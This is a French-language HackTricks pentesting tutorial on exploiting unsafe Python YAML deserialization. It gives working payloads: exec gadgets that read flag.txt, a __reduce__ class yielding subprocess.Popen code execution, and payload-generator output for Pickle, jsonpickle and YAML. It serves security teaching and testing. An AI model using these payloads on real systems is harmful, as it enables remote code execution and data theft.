Python Yaml Deserialization

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Yaml Deserialization

Les bibliothÚques Yaml python sont également capables de sérialiser des objets python et pas seulement des données brutes :

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

VĂ©rifiez comment le tuple n'est pas un type de donnĂ©es brut et donc il a Ă©tĂ© sĂ©rialisĂ©. Et la mĂȘme chose s'est produite avec le range (pris des builtins).

safe_load() ou safe_load_all() utilise SafeLoader et ne prend pas en charge la désérialisation des objets de classe. Exemple de désérialisation d'objet de classe :

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Le code précédent utilisait unsafe_load pour charger la classe python sérialisée. Cela est dû au fait qu'à partir de la version >= 5.1, il n'autorise pas à désérialiser toute classe python sérialisée ou attribut de classe, sans Loader spécifié dans load() ou Loader=SafeLoader.

Exploit de base

Exemple sur comment exécuter un sleep :

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnérable .load("<content>") sans Loader

Les anciennes versions de pyyaml étaient vulnérables aux attaques de désérialisation si vous ne spécifiez pas le Loader lors du chargement de quelque chose : yaml.load(data)

Vous pouvez trouver la description de la vulnérabilité ici. L'exploit proposé sur cette page est :

yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ou vous pourriez Ă©galement utiliser cette ligne unique fournie par @ishaack :

yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}

Notez qu'dans les versions récentes, vous ne pouvez plus appeler .load() sans un Loader et le FullLoader n'est plus vulnérable à cette attaque.

RCE

Des charges utiles personnalisĂ©es peuvent ĂȘtre crĂ©Ă©es en utilisant des modules Python YAML tels que PyYAML ou ruamel.yaml. Ces charges utiles peuvent exploiter des vulnĂ©rabilitĂ©s dans des systĂšmes qui dĂ©sĂ©rialisent des entrĂ©es non fiables sans une sanitation appropriĂ©e.

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Outil pour créer des Payloads

L'outil https://github.com/j0lt-github/python-deserialization-attack-payload-generator peut ĂȘtre utilisĂ© pour gĂ©nĂ©rer des payloads de dĂ©sĂ©rialisation python pour abuser de Pickle, PyYAML, jsonpickle et ruamel.yaml :

bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks